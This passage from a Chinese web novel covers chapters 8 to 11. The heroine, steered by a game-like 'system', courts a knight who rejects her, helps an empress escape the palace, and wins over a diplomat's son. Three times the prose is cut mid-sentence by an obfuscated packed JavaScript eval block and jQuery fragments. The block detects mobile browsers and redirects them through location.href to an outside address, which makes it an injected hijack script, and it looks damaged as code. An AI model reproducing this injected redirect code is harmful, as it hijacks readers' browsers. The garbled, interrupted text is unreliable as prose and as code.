洛兰特抬起头,望着她。那双眼睛里的颜色是夏日天空一样的湛蓝,很纯粹,很平静,很赤诚。
“我会和她说话,维护她,照顾她……然后在心里祈求她远离我。”
“如果你等不到那一天呢?”
有那么一瞬间,空气里是完完全全的安静,但是又那么喧嚣,每一声微响都那么震耳欲聋:心跳声,呼吸声,从双唇中难以自制泄出吐息的声音。
“……那我会一直煎熬。”洛兰特低下头,“但结果不会变。”
8. 第 8 章
伊斯特感觉自己像个社会闲散人员。
自从顺手买了片静脉叶子书签,带给曼德琳,惊讶地发现后者露出一个笑之后,她每天就出门逛街买新奇的小玩意儿。
「为什么会让你一个贵族小姐天天出门干这个啊!」系统吐槽道,「你家门卫不拦的吗!」
「没人挡我的路还不好?我本来都想过他怎么意外身亡了。」
抛开系统在她脑子里扣的二十个问号不谈,伊斯特不练剑的时候就天天游手好闲。
她第一次进宫见曼德琳的时候,那屋子简直像个坟墓:望之发寒的淡色壁纸,整齐到陌生的家具,一点活人在里面生活的气息都没有。
在她不懈吃喝玩乐的努力下,礼物陆续出现在曼德琳的书桌、梳妆台、窗台上,让这块地方显得越来越缤纷多彩。
她给曼德琳带过一枚“玻璃彩虹”——其实就是一块切割并不完美、甚至有些磨砂的小水晶棱柱。皇后陛下问她为什么边缘有磕碰,她说向家里要太多钱也不好意思,所以买的二手的。
话虽如此,当伊斯特将它放在书桌光照最好的角落时,午后的阳光穿透它,书页上、墙壁上、曼德琳的手背上,瞬间跳跃起一小片颤动的、微缩的彩虹。
女人惊讶地轻呼一声,手指不自觉地追逐着那变幻的光斑。
那之后的下一次,她带的是一罐“会唱歌的糖”——一小把糖,用深红油纸仔细包裹,据商人说来自遥远港口。虽然伊斯特买的时候尝了一口,发现这不就是早期形态的跳跳糖吗。
她神秘兮兮地递给曼德琳:“尝尝这个,推销它的人说水手们用它驱散海上的无聊。”
系统在她脑子里吐槽她说话像卖粉的。伊斯特权当没听见,找了把小勺,舀了一小口递给女人。
瞬间,细小的颗粒在舌尖噼啪作响,带着奇异的果酸味和微弱的刺激感。曼德琳瞪大了眼睛,感受着舌尖上清脆作响的悦动,忍不住笑了出来。
再下次她逛的是玩具店,所以买了一个涂着鲜艳红蓝漆的迷你铁皮小兵人,它背后有一个小小的发条钥匙。
伊斯特拧了几下发条,放在光滑的桌面上。小兵人立刻咔哒咔哒地向前冲去,一瘸一拐却又倔强异常;挥舞着不成比例的小剑,直到发条耗尽,“啪嗒”一声歪倒。
对着它笨拙的样子,曼德琳又好笑又无奈,最后小心翼翼地伸出手,把它扶正了。
在那之后,冬去春来了,伊斯特带来一本巴掌大的硬皮小册子,里面是她亲手采集、压制并标注的野花野草:雏菊、三叶草、蒲公英绒毛、一片奇特的枫叶。
册子地每一页都保留着植物最鲜活的姿态,旁边是她的字迹,顺手写着发现的地点和日期:“郊外草坪”、“橡树大道尽头”、“雨后溪边”……
“你的字怎么回事?”曼德琳对着她的标注问道,“你字写成这样,父母允许你出门玩?”
伊斯特感觉受到了莫大的侮辱:“又不是写信,看懂不就行了!你几秒钟写个句子我看看呢。”
曼德琳在封面上刷刷几下,写下了自己的名字:标准的花体字,优美又规整,字母排布之间像在跳华尔兹。
伊斯特认输了:“你看内容,看内容好吗?”
女人嘴角微微上扬,翻动书页,指尖拂过那些干燥脆弱的花瓣草枝,仿佛触摸到了宫殿外那个带着泥土和阳光的世界。
在那之后,伊斯特带来了一枚手掌大小的空海螺。它通体洁白,有着漂亮的螺旋纹路,被海水打磨得光滑温润。
她把它递给曼德琳:“试试贴在耳边。”女人半信半疑地照做,瞬间,一阵遥远而模糊的声音传入耳中,如同潮汐般连绵起伏,仿佛真的能让人听到千里之外,大海的呼吸和低语。
“……海是什么样的?”放下海螺时,曼德琳喃喃道。
“每个人有不同的描述吧,”躺在一旁吃点心的伊斯特懒洋洋地回道,“你得亲眼看了才知道。”
曼德琳轻声叹了口气。
再下次,伊斯特终于带吃的了。
她抓着一个带着油渍的纸袋冲进曼德琳房间,进门第一句话就是“快吃!”。
曼德琳盯着那个袋子,深吸一口气:“摩根那家盘子用完了?”
“快吃!凉了就油了。”伊斯特撕开纸袋,露出几块还带着温热气、撒着雪白糖霜的街头吉事果。
“现在也很油……”曼德琳不情不愿地咬了一口,然后情愿地咬了一口,然后又咬了一口,又咬了一口,然后吃光了一整个。
「我就说不喜欢油炸食品的人还没出生嘛。」伊斯特乐呵呵地也吃了一个。
酥脆的外皮在齿间碎裂,露出柔软的内里,滚烫的甜蜜混合着肉桂的香气瞬间在口中弥漫开;和她们下午惯常吃的精致糕点截然不同,带着一种粗犷的满足感。
「三高的满足感。」系统指正。
没人理它。
最新一次,伊斯特带了几个小小的亚麻布袋,里面都是种子。袋子上系着标签,用她最好看的字体写着名字。
“这个会开蓝色的星形花,中间的不会开花,却会长出带浓郁花果香气的叶子,最右边这个开花的时候是纯黑色的……”伊斯特慢悠悠地说道,“以上有一句是假话,但我不会告诉你是哪句”。
“你不会混了一袋草进来吧?”曼德琳瞪了她一眼。
“种出来才知道咯。”伊斯特笑眯眯地拨了拨系袋绳,“回答对哪句是假的有惊喜,”
曼德琳把头搭在她肩上,从嗓子里哼了一声——相处了一个月之后,她远没有原来沉默了:“那我就找给你看。”
*
在春天到来的时候,伊斯特的剑术课程也迎来尾声。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886429|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她早就换上了铁剑,此刻一挡一劈,格开了袭来的招式,然后转守为攻,剑指男人颈动脉。
锐利的破空声划开了初春的暖风,激得柳树叶在半空中飞旋起来。洛兰特猛地回身,架起阔剑,脸上难以自禁地露出欣快的笑。
随着清脆的一声金铁相撞,他们结束了这次对招。
“恭喜你出师了。你学得很快。”洛兰特收了剑,微笑道,“后面的部分要在实战里体悟……但你现在的水平,至少不用担心在莫名撞见的袭击中——希望未来不要发生——没有自保之力。”
伊斯特看着他,一歪头:“你觉得我是害怕了才来找你学剑的?”
“就算是也很正常……”他的语气像在宽慰,“那场意外很恐怖。”
伊斯特依旧盯着他,没挪动视线,从嗓子里发出一声笑,“我要真害怕,为什么不选择更安全的方式——比如每天跟在你身边不就很安全?”
她的视线笼着洛兰特,慢悠悠地把后半句话说完了:“和你共度余生,那就更安全了。”
就像被她的句子迎面打了一拳一样,洛兰特猛地闭了闭眼睛,脸色煞白。
“怎么,你觉得我永远不会挑破吗?”
“不是……”在最激烈的战斗中,洛兰特都没有失态过;但此刻他双唇发颤,吐息深深浅浅,仿佛把单词拼凑成句子,就耗费了他全部的力气,“你有权利……”
“我有吗?我怎么不知道?”伊斯特步步紧逼,“要是我今天不问出来会怎么样?”
从始至终,洛兰特都没有直视她,好像二人视线相碰,他就会有一处受伤……或者更糟,他会动摇。
“我会和你告别,嘱咐你路上小心,然后在后半辈子里都刻意避开您。”
伊斯特两步上前,一把抓住他的手腕:“懦夫。”
“……爱是勇敢者的嘉奖。”骑士长垂着眼睛,温柔地把她的手指掀开,“我绝不能,也绝不会违反誓言。而如果耽误了您,那就更不可饶恕了。”
他们离得这样近,呼吸染热了对方的皮肤,杏色和湛蓝彼此倒映,融入了彼端的色彩。他的指腹按住她的指尖时,时间几乎放慢了,让那一刻显得流连。
但随即,现实追了上来,二人的手一触即分。
伊斯特冷笑着发问:“你赌咒发誓,你对我没有一丝一毫感情?”
“我不能。”洛兰特的每个吐字都很慢,“我做不到。”
他深吸一口气,吐气时,好像某种可能性也随着流走了,风干了。
“……但我同样不能接受它们。”
“如果我有呢?如果我喜欢你呢?”
他抬眼看着她,先前的钝痛、灼伤都深深沉了下去,低了下去,只留下一片平静如海的安宁感。
洛兰特露出一个温和的微笑。
“会过去的。”
9. 第 9 章
伊斯特地第一反应其实是提剑砍上去。
「求求你不要,冷静冷静,」系统快疯了,「我们留着他好吗,万一后面有机会呢——你不懂,很多追妻火葬场的小说开篇就这样。」
「你才不懂,他觉得他在自我牺牲。」伊斯特气极反笑,「他觉得这种牺牲是为了我好,所以接下来越痛苦,他潜意识里就会越接受。」
「还是求求你不要,」系统换了个角度,「你打不过他。」
也是。
伊斯特深吸一口气,瞪了攻略失败的男人一眼,转身就走。
「天杀的白骑士人格,第一眼怎么没看出来这家伙这么扭曲。」她恨恨地想,「我们没完。」
她一路出去了,把石板踩得咔咔作响,丢下一句“去皇宫”就上了马车,把令牌拍在侍卫眼前,然后一路冲到了曼德琳那里。
「求求你不要。」系统察觉到她的想法,今天第三次求她了,「不要自暴自弃啊,求求你了。」
「反正洛兰特的线都要重打,我试一下怎么你了?大不了两边一起重来。」
系统语气里透露着绝望:「我们稳扎稳打行吗?你现在这个情绪不适合,真的。」
「谁跟你是我们。」
曼德琳的房门被敲开了,女人惊讶地看着发丝凌乱、双目发红的伊斯特;后者几乎是扑进了她的房间,开口时嗓音微微发哑。
“你有酒吗?”伊斯特的语气还是那种随性、不在乎的模样,却不知为何比平时多了一些实感,“为我开一瓶呗?”
*
“就这样,他的原话,’会过去的‘。”
伊斯特说完最后一句话,把自己那杯酒一饮而尽。
系统已经放弃了一开始的劝阻,转为在她脑子里一声又一声叹气,似乎想不明白为什么她要让之前的所有努力同归于尽。
曼德琳抿了一口酒。
“恭喜你。”
女人的神情很淡,几乎没有表情了;她赤红的长发,她白皙的肌肤,她琥珀色的双眼,全都泛着一层淡淡的、泛着死气的冷光——就好像已经人生一眼看到头了,那种不抱任何希望的,既洒脱又压抑的矛盾感。
她的语气是真心实意的恭喜,仿佛人人都走的路上有一个坑洞,而伊斯特绕过了它。
伊斯特心念一动。
“你羡慕我?为什么?”虽然是提问,但她的语气放得很轻很缓,几乎算得上柔和了,“因为我差点踏入婚姻殿堂但是被拒绝了?”
“为什么会这么推测?”曼德琳笑了,“你觉得我不喜欢自己的婚姻?”
伊斯特诚实地点了点头:“对,我觉得。”
“为什么?”
“因为你不开心。”
“我为什么会开心?”曼德琳反问道,“你知道曼德琳·霍尔是谁吗?”
女人笑得前所未有地明媚:“她是个作家,她写书,她致力于宗教改革,她希望能简化繁琐的现有仪式,强调因信称义而非教会权威。”
“她的书写了大半,快要完成的时候,她接到通知,说在一众交上去的画像和名单里,皇帝觉得你最合适;所以再婚的人选定的是你,你开心吧,荣幸吧,收拾收拾准备成为皇后吧。”
“你知道讽刺的是什么吗?霍尔家为我写的介绍——‘有文学素养’,他们知道我在写东西;等到这个所谓的加分项给我带来了新身份,我却因为它一个字都不能发表了。”
“我有什么好不接受的?不就是必须放弃引以为豪的事业吗?不就是后半生都要住进陌生地方直到死吗?不就是要丢掉自己的名字,自己的未来,自己的可能性,在历史里记录为某个君主的第二任皇后吗?”
“和皇帝一时兴起的选择相比,这都多么微不足道啊!”曼德琳大笑出声,“他说是你,那就是你,你是这句话的宾语,你没有选择权。”
女人猛地站起来,欺身靠近伊斯特。由于长而激烈的叙述,她的脸颊带上了绯红色。
“你又是在做什么?一次又一次地来,你以为我是谁?你同情我?可怜我?施舍我?”
有一瞬间,房间里什么声音都没有,接着,伊斯特平静地开口了:“我敬佩你。”
就好像火焰熊熊燃烧的声音熄了下去,曼德琳骤地沉默了。霍尔宅邸里那本尘封的、手写的原稿好像还在眼前,伊斯特浑然不觉地接着说道:
“我看过那本未出版的书。我是你的读者。”
曼德琳仰着头,又想笑又想哭似的,苦涩地望着她。
“……我已经很久没有写任何东西了。”
*
伊斯特敲响了门。
她能感觉到门后的人在犹豫,在纠结,在斟酌到底要不要开门。最后,吱呀一声,曼德琳出现在门后。
女人看着她:“我以为你不会来了——”
伊斯特打断了对方:“这是笔。”
她往曼德琳手里塞了一只钢笔,墨刚吸好。
“这是纸。”
她接着掏出一个小本子,一同按在女人手上。
“这是我能买到最小的本子。”她以一种果断的态度快速说道,“就算没有口袋,你可以把它藏到袖子里——没错我破解了你那天的魔术——就像你藏给我的令牌一样。”
“这支笔很好写,来之前我试过,很顺滑。你随时可以开始写,如果有不让你这么做的人经过,为了不被他看见,你就把它们藏起来——”
她的话没说完,因为曼德琳一把抱住了她。
女人把头埋在她肩膀上,发丝搭上她的锁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886430|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骨,弄得痒痒的;她能感觉到睫毛扫过自己脖颈间,然后从那片琥珀色里,有什么东西涌了出来,浸湿了她的肌肤。
*
再下一次去看曼德琳的时候,还没敲,门就自己打开了。
门后不是当朝皇后,不是曼德琳·墨罗温,也不是曼德琳·霍尔。
门后只是曼德琳而已。
她长长的盘发不见了,层层叠叠的布料和首饰也不见了;取而代之的是剪短了的头发,和一条长裙。随着她的动作,几缕红发从颈侧倾洒下来,被烛火映出一种暖橘光芒,看上去澄净又自在,好像不会被什么拽住了。
“我以前就是短发,”曼德琳轻声解释道,“进宫之后,他们说盘发才得体,于是我被迫留长了。”
她牵起伊斯特的手,“你知道吗,我幼年时来过一次皇宫。好像是在某个庆典上,当时,我觉得这里好繁华,好庄重,美得不像样。”
伊斯特反握住她的手腕。在那层薄薄的肌肤之下,曼德琳的脉搏强健有力,战鼓一样急促,好像要冲破什么。周遭似乎也升起了某种隐隐的、血脉似的震响,一下一下地搏动着。
“后来觉得这里好恐怖,规矩好恐怖,人也好恐怖。我最害怕的就是和别人共处一室,因为盯着我的不是眼睛,是时刻等着挑出错处的耳目;被盯着的也不是我自己,是一个我不认识,也不想认的东西。”
曼德琳说着,被自己逗笑了,“有段时间,我什么都不敢做,害怕受罚。眼睛睁着的时候,我期盼入眠;在睡梦中,我又希望第二天不要醒来。”
伊斯特被她牵着,一路走出走廊,沿着花园小径,往外迈步。春日的晚风卷着飘散的柳絮,拂过她们的脸,鼓荡起曼德琳宽大的袖子和裙摆。
“现在呢?”她问道。
牵着她的女人深吸了一口新鲜空气,再开口时,嗓音又平静又畅快。
“……现在我不害怕了。”
曼德琳穿着那件波西米亚裙,对她笑了一下。
宽松的裙子,流苏,踝骨,风吹起的短发。
困住她的笼子好像消失不见了。
“我们走吧,一路远去,去遥远的某个地方,没有人能找到我们。我们可以买一间带花圃的小房子,把你的骗人种子种下去,然后每天检查门口的信箱——它很快就会满,因为我要把书稿寄给那里的每家报行、每个出版社。”
她们越走越快,越走越快,已经接近小跑了。在几步之遥的地方,一辆马车静静立着。
“又或者我们可以旅行,到每个地方都停留一段时间,收集新鲜的东西,全部装在一个大大的帆布袋里。我一点经验都没有,所以你要负责买船票。”
曼德琳回过头,对她嫣然一笑。
“我们去看海吧。”
10. 第 10 章
伊斯特又一次陷入黑暗中。
再次睁开眼睛时,她果然回到了花园茶会上。
系统果然没有骗她,“攻略成功的那一刻,她会知道的”——确实如此。
在和曼德琳一起踏上马车的时候,一种奇妙的幻觉席卷了她的视野,她好像被一片无垠的天空包围了,如同生出双翼般漂浮着,在恍惚间,被浩瀚璀璨的繁星引得目迷神炫。
虽然转瞬即逝,但是她知道,这就是那一刻。
紧接着,系统的提示音就响了起来:「恭喜宿主,成功攻略角色——【曼德琳】。」
伊斯特一边拍掉拉芙手里的点心,一边在脑海里回味着这句话,希望不出多久就能再听到一遍类似的。
她如法炮制地照着第一遍的完美攻略来了一次,又和杰奎琳信口开河了一次,重新回到了内层花园。
低头行礼,回答问题……一切都和上一次一样,直到洛兰特让她“留在这里”的时候,伊斯特冷声回了一句:“用不着,给我把剑。”
洛兰特睁大了眼睛:“您确定?”
她没好气地反问:“难道我这个关头开玩笑吗?”
最后,洛兰特缴了一个袭击者的械,丢给她;伊斯特右手一扬,牢牢地接住了那柄银色长剑。
不仅如此,战斗也很顺利——他们之间还残留着不属于此时此刻的默契。即使对其中一方来说,它从来没存在过。
伊斯特照着之前的做法回到家里,慢悠悠地享受晚餐,吃掉了上次没吃的口蘑奶油浓汤。在饭后,她还撑着头发呆等甜点呢,就听到母亲叫了她一声。
“小伊,你这周末没事要做吧?”
那这次确实没有了。“没,怎么了?”
“之前不是跟你提过外交大臣那家吗?他家次子和你差不多大……”
“稍等,能不能回到上个问题。”
“嗯?你这周末没事要做吧?”
“有的,我要在家躺两整天。”
*
最后还是没躺成功。
毕竟吃摩根那家的饭,该履行的社交义务还是要履行的。
伊斯特非常不爽地套上衬裙,又穿上带着流苏裙摆的深蓝冬季长裙,一下马车就开始发呆。
她在检索自己目前的线路:在前两天的朝议上,她又拒绝了奥妮克丝——坦白来说,经历了上次的事情之后,她对这些带点神职性质的人就不信任了。你喜欢一个人都能拒绝?那她该做到什么地步才能抵达所谓的happy ending?起兵谋反把教廷解散了吗?
目前的计划是,先去试探一下珈黛利亚,瑟亚铎有机会的话也接触一下吧……那么她该怎么偶遇这两位呢……
“小姐,北科曼府邸到了。”
伊斯特揉了揉眼睛,慢悠悠地下车,跟着她的父母兼雇主一路走进去,决心充当一个哑巴赶快把这件事混过去。
就在这时,她听到了系统的提示音:
「恭喜宿主,成功遇见可攻略角色:
外交大臣次子——【汤珀森】」
诶?
你是说她的相亲对象是攻略对象吗?
仔细一想好像很合理啊:在伊斯特玩过的有类似元素的游戏中,确实会有一些可攻略角色为了防止玩家错过会这样设置……不过她玩的游戏一般都有其他元素,因为她很快就操纵主角去干别的事了,比如犯罪活动致富,夜间无差别连环杀人等等。
「你玩的都是什么东西啊!!」系统忍无可忍,「别发呆了,看攻略对象!求求你了!」
伊斯特把眼神聚焦在前方。
她对上了一双明亮的棕眼睛。
汤珀森的发色是一种柔软的棕,看人时带着一种温快的少年气;他看着她,眼睛眨了一下,两步迎了上来:“嗨,我是汤珀森。”
“伊斯特。”
“很高兴认识你!”这明明是句社交辞令,在他口中却显得真心实意。
汤珀森笑的时候,眼睛像一弯月牙。他打完招呼,又转头向她母亲征询同意:“摩根那夫人您好,我带伊斯特去转转啦?”
“不是说先在客厅喝茶吗?”北科曼夫人被自家孩子弄得有点无措。
“喝什么茶,弄得好像两家府邸买的茶叶有什么天差地别一样;再说,我看大家也不是很想喝茶的样子嘛。”他头一歪,转向伊斯特,笑意明亮得要在半空中敲出音符来,“走不走?”
太好了。“走。”伊斯特言简意赅地支持道,跟家长挥了挥手,然后和汤珀森飞一样地逃离了社交饭局。
他们一路快走,在一个小露台停了下来。伊斯特趴在阳台沿,抬手摘了一朵紫荆花:“怎么这么远?”
淅淅索索的声音。余光里,伊斯特看见汤珀森趴在了自己旁边。他比伊斯特高出不少,这个姿势有些费力,不过也没起身,只是用手撑着头,侧过脸来看她。
“躲远一点,免得他们一会儿反悔了,叫人把我们找回去。”汤普森伸出手,把那一根花藤都拽过来了,方便她接着摧残自己家的花,“……诶,还是说你更想被叫回去?我都可以的。”
伊斯特笑了,“当然不想。”
“太好了,”他如释重负地长出一口气,“我就说嘛,一眼看上去你就是不喜欢相亲的类型。”
“那你是吗?”
“不是。我本来打算和这位摩根那小姐商量一下,假装相处几周敷衍一下父母来着。”
“现在计划改变了吗?”
汤珀森眨了眨眼:“不知道啊,要看那位摩根那小姐的意思了。”
“摩根那小姐觉得可以把假装去掉。”
他开心地笑出声来,眼睛和发色一样柔软醇厚,好像一个带着咖啡热气的拥抱。
*
在汤珀森提议“溜出去转转”的时候,伊斯特其实不太相信这个计划能实现。
她上周目能天天出门逛街还是托了曼德琳的福:那块奢华到让人想把红宝石悄悄扣一个下来卖钱的令牌一拍,完成皇后要求的名头一挂,她就是买个杂货店下来父母都没意见。
正经的贵族小姐少爷按理说不该过多抛头露面,这还是系统给她科普的。正因如此,当她眼睁睁地看着汤珀森用“这是母亲的任务”这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886431|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个说辞,不仅把门卫骗了过去,还调了一辆马车来的时候,伊斯特瞪圆了眼睛。
“你家管得比较松?”她不可置信地找理由。
“不是哦,”汤珀森拉开车门,夸张地半弯下腰,对她抬起右手,“我出门采个风父母都不让。”
伊斯特很配合地把手搭了上去,“那刚刚是什么?你也没威逼利诱啊?”
“可能因为我长了一张很老实的脸吧,”他笑意吟吟地一眨眼,“好像没人会想到我会骗人。”
……确实。在她目前见过的所有攻略对象里,如果某位募捐者要在里面选一个人,路上拦着他或她筹钱,这人肯定是汤珀森。
和看上去不失严肃气的洛兰特不同,和沉静优雅到叫人不敢搭话的珈黛利亚也不同,汤珀森长了一张非常纯良的脸,看她时双眼亮晶晶的,不论说什么都全神贯注地听,好像某种犬科动物。
上车时,汤珀森悄悄吩咐了车夫几句,她没听清,问他什么他只神秘地说“是惊喜”。
「拐卖吗,」伊斯特和系统聊道,「有点意思。」
再回神时,汤珀森像只小动物似的,向她这里凑了凑,眼睛牢牢地盯着她,一眨不眨。
伊斯特挑眉:“怎么了?”
“我突然想到,应该在出门之前问你忌口的……”
“我口味很刁钻——”伊斯特慢悠悠地拖长了音调,看着面前的人肉眼可见地紧张起来,才坏心眼地补上下半句,“忌口难吃的东西。”
汤珀森从嗓子里涌出一声小小的欢呼。
*
马车的滚轮声轻快,将石板路抛至身后,驶入冬小麦田和清新的空气间。
他们在一处乡下农庄停下。汤珀森轻车熟路地问候农庄主人,然后带着她去池塘钓鱼。
“我每次都能钓上来,”甩钓竿之前,他和伊斯特说,“你知道秘诀是什么吗?我来传授给你。”
对这项老年人活动颇为不满的伊斯特有些烦躁:“快点说。”
“因为这里是鱼塘,”汤珀森用了一种故作得意的语气,“哪怕扔根线不绑饵,都会有好奇心强的小鱼来咬。”
……这算什么秘诀啊!
虽然听完之后又无语又好笑,但是接下来短短十几分钟他们纷纷钓上来了好几条鱼,俨然两个垂钓高手。连伊斯特盯着桶里簌簌游动的银色鱼尾时,都产生了一种自己很擅长这个的错觉,以及诡异的成就感。
他们把大部分傻鱼放了回去,留了两条大小合适的。很快,它们就被处理干净,裹上薄薄的面粉,用黄油煎得两面金黄酥脆,香气扑鼻。
佐餐的是刚摘的清甜豌豆,会在口中爆汁的浆果,以及一小碗还带着蜂巢碎屑的清亮野花蜜。
这次伊斯特一个字都没说,因为她忙着吃。
“新鲜到这个程度,只能来农庄吃。”汤珀森解说,“离地超过五分钟,就没这个味道了——国王都吃不到我们现在的下午茶呢!”
伊斯特的嘴百忙之中嗯了一声表示听见了。
她发现这是少数自己一点心思都不用费、却依旧过得很快乐的时光。
11. 第 11 章
伊斯特收拾了收拾,准备出门去偶遇瑟亚铎……虽然鬼知道上哪去偶遇这家伙,但他比珈黛利亚好不少,至少会出门挑事,后者她问了一圈都没什么人见过。
就在她出门的时候,汤珀森跟她招了招手。
“啊?你在这儿干嘛?”
“不是说相处吗!”他两步迎上来,棕发在阳光下显得蓬松又柔软,“两周还没到我就下市了吗?”
“你是什么时令蔬菜吗?”伊斯特笑了一声,“为什么不让人进去叫我?”
“万一你在忙别的事呢?上次溜出去了,这次要不要去我家看看……我保证绝对不是喝茶。”
在某个讨厌鬼和眼前的汤珀森之间,伊斯特几乎毫不犹豫地选择了有眼睛的人都会选的选项。
“带路。”
结果他们坐的是她家的马车,因为汤珀森“不知道要等多久,一到地方就让自家车回去了”。
……真不知道她今天要是不出门的话他怎么办,在她家门口打个地铺睡了吗。
他们到地方之后,汤珀森领着她穿过走廊:“完全不用拘束,有大人物要来帝国拜访了,所以他们都出去忙了……管外交的就像这样,不忙则已一忙惊人啊。”语气甚至有点幸灾乐祸。
“谁啊?”上周目那个女王吗。
“塔瑞希雅,你听过吗?就那个一己之力打赢了围剿她的军队的?”他吱呀一声打开了屋门,对她做了个欢迎的手势,“这不重要啦,重要的是这次拜访之后帝国还要组织使团去她那里呢,所以我家这两天是忙得完全没有人影。”
伊斯特踏进这个看上去像是画室的地方,顺手打开颜料盒看:“还没组织完啊?”
“好像缺了个专家,商务专员还是什么?再找不到要去街上挨个问了——请问你有没有商务特长并且愿意出使北地呀?请问你有没有商务特长并且愿意出使北地呀?”
在她被逗笑了的埋怨声中,汤珀森一把揭开画架上的白布,“请看!”
伊斯特抬眼望去。画布上流淌着大片宁静的钴蓝与灰紫,暮色初临时的辽阔湖面。高远的天空占据了画布大半。云层不是厚重的堆积,而是被风拉长的、轻盈的羽絮,边缘染着落日熔金,隐约泛出薰衣草般的淡紫,慵懒地漂浮着。
在这片广阔与柔和之上,便是那只渡鸦。
它优雅地偏在一侧,仿佛只是偶然闯入这幕布,羽翅在光线下流转着多变又迷人的色彩。它的身体微微倾斜,随着无形的气流滑翔,仿佛在风的怀抱中悠然漂行。
“好看。”她真心实意地感叹道,“我喜欢这个氛围。”
“是印象绘画,”汤珀森正在仔细观察她的表情,“在我心里你像这样——如果你感到冒犯,上一句就是开玩笑的……它应该是吗?”
“怎么对自己的话一点立场都没有?”伊斯特笑着嗔他,“当然不是。为什么我是这样的?”
“有时候,我觉得你的注意力不在这里,在某种更高、更远的地方,就好像你从一个沙盘外俯视我们所有人。”
伊斯特真的被惊讶到了。
她立刻去脑子里把系统摇了出来:「有这么明显吗?」
还没等系统回答,她的视野被棕色占据大半——汤珀森凑到了她面前,眼睛一眨不眨地盯着她。
“刚刚又是那种感觉?”他语气带着点不确定,“……就好像表面的你和内在的你不在一个图层上。看上去伊斯特·摩根那站在这里,但如果想抽身离开的话,你就会随着下一阵风离去。”
在那次之后,他们又约了好多次。由于北科曼府在外交事务下空空荡荡,伊斯特和汤珀森一大半的见面都是在他家。在陆陆续续吃了十几顿饭——而且每顿都很好吃——之后,她看这地方跟餐厅也没什么区别了,一看就心怀轻松与期待。
直到有一次她去吃的时候,少了一道饭后甜点,她调侃今天怎么了,汤珀森不好意思地说今天还没来得及做。
伊斯特大为震惊,一时间只说得出“啊?”,过了几秒钟,才勉强组织起一个问句:“每次都是你做的吗?”
汤珀森非常纯良地点了点头:“其实我比较擅长的是甜品……你隔两天再来,给我一点准备时间的话,我可以证明这句话!”
于是伊斯特下一次去的时候,吃到了这辈子吃过最好吃的一套甜点。
首先是黄瓜青柠雪泥,佐以酸奶鱼子酱珍珠。味道清爽,酸奶珍珠开胃,整体是一种多汁的清甜口感。
紧随其后的是有机草莓雪泥,顶部是姜汁香茅和青柠冰淇淋。它看上去像传统的奶油夹心蛋糕,咬到嘴里是口感是缤纷的甜:每种风味都很节制,所以格外和谐,吃起来像一整片野生草莓园。
第三道是小火慢炖黑糖菠萝,搭配椰子海绵蛋糕,和椰子酸橙西米露。口味香醇浓烈,菠萝炖过之后没有丝毫流失果香,反而更清爽了,椰子糕很润泽,酸橙格外提味,又不突出,巧妙地和甜品交织在一起。
收尾的是略微烤过的杏仁蛋白卷,牛奶巧克力做底,巧克力两吃和牛奶酱,配上焦糖酱——牛奶酱慕斯和牛奶酱糖果沐浴着舌尖,给人归家后被拥抱的微暖感觉。
在被清新干净,香甜绵密,润泽浓烈,丝滑温暖的四道菜轮流攻击之后,她迎来了今天的第五道攻击。
汤珀森深吸一口气,像在鼓起勇气似的。
“有时候,我看着你,发现你又随性,又疲惫,又身在此地,又不在此处……如此矛盾,我几乎怀疑是一种幻觉了,而人们总说幻觉是艺术家的缪斯。第一眼见你时,我好像看见了一个漩涡,我心迷意乱,无法抗拒也不想抗拒,目视着它一路深入。”
他停顿了一下,“我不知道我看见的对不对,但你有时显得……疲惫,就好像心里挂着很多你根本不想做的事,每一分每一秒都必须起到作用。”
那双棕眼睛望着她,柔软,醇厚,温暖,如此全神贯注,好像她是世上唯一有色彩的事物:“……你很累吗?”
不知道什么东西扼住了她的喉舌,伊斯特向来工于口舌,此刻却一句话都说不出来;鬼使神差地,她只是点了点头。
“我不知道你被强压着什么,不知道自己能否帮上忙——事实上,我觉得你如此聪明,以至于我肯定束手无策……但是不论你要面对的是什么,如果有一个机会能让我陪在你身边,那么我哪里也不会去。”
“如果我要杀人放火呢?”
“不论你要面对的是什么。”他重复到。
伊斯特看着面前的人:他全心全意,真诚柔软,最重要的是,他好像透过了皮囊、身份、故作虚饰的语言、所有的一切,看见了里面那个人。
而那个人甚至都不叫伊斯特。
她伸出手,搭上面前人的脸,拉近了那股暖阳、咖啡、黄油饼干一样的温热气息。
系统的提示音响了起来。
「恭喜宿主,成功攻略角色——【汤珀森】。」
她轻轻一震。
就好像一个美梦醒了,伊斯特后退半步,看着他,轻轻地叹了口气。
